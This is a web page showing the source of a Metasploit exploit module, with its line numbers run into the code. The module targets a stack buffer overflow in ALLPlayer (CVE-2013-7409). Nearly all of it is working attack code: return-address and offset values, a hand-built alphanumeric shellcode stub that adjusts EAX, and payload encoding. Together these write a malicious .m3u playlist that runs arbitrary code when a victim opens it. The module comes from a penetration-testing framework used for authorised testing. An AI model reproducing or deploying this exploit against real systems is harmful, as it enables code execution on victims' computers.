Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'ALLPlayer M3U Buffer Overflow',13'Description' => %q{14This module exploits a stack-based buffer overflow vulnerability in15ALLPlayer 5.8.1, caused by a long string in a playlist entry.16By persuading the victim to open a specially-crafted .M3U file, a17remote attacker could execute arbitrary code on the system or cause18the application to crash. This module has been tested successfully on19Windows 7 SP1.20},21'License' => MSF_LICENSE,22'Author' =>23[24'metacom', # Vulnerability discovery25'Mike Czumak', # Original exploit26'Gabor Seljan' # Metasploit module27],28'References' =>29[30[ 'CVE', '2013-7409' ],31[ 'BID', '62926' ],32[ 'BID', '63896' ],33[ 'EDB', '28855' ],34[ 'EDB', '29549' ],35[ 'EDB', '29798' ],36[ 'EDB', '32041' ],37[ 'OSVDB', '98283' ],38[ 'URL', 'http://www.allplayer.org/' ]39],40'DefaultOptions' =>41{42'EXITFUNC' => 'thread'43},44'Platform' => 'win',45'Payload' =>46{47'DisableNops' => true,48'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",49'Space' => 3060,50'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,51'EncoderOptions' =>52{53'BufferRegister' => 'EAX'54}55},56'Targets' =>57[58[ ' ALLPlayer 2.8.1 / Windows 7 SP1',59{60'Offset' => 301,61'Ret' => "\x50\x45", # POP POP RET from ALLPlayer.exe62'Nop' => "\x6e" # ADD BYTE PTR DS:[ESI],CH63}64]65],66'Privileged' => false,67'DisclosureDate' => '2013-10-09',68'DefaultTarget' => 0))6970register_options(71[72OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])73],74self.class)7576end777879def exploit80nop = target['Nop']8182sploit = rand_text_alpha_upper(target['Offset'])83sploit << "\x61\x50" # POPAD84sploit << target.ret85sploit << "\x53" # PUSH EBX86sploit << nop87sploit << "\x58" # POP EAX88sploit << nop89sploit << "\x05\x14\x11" # ADD EAX,0x1100140090sploit << nop91sploit << "\x2d\x13\x11" # SUB EAX,0x1100130092sploit << nop93sploit << "\x50" # PUSH EAX94sploit << nop95sploit << "\xc3" # RET96sploit << nop * 10997sploit << payload.encoded98sploit << rand_text_alpha_upper(10000) # Generate exception99100# Create the file101print_status("Creating '#{datastore['FILENAME']}' file ...")102file_create("http://" + sploit)103104end105end106107108109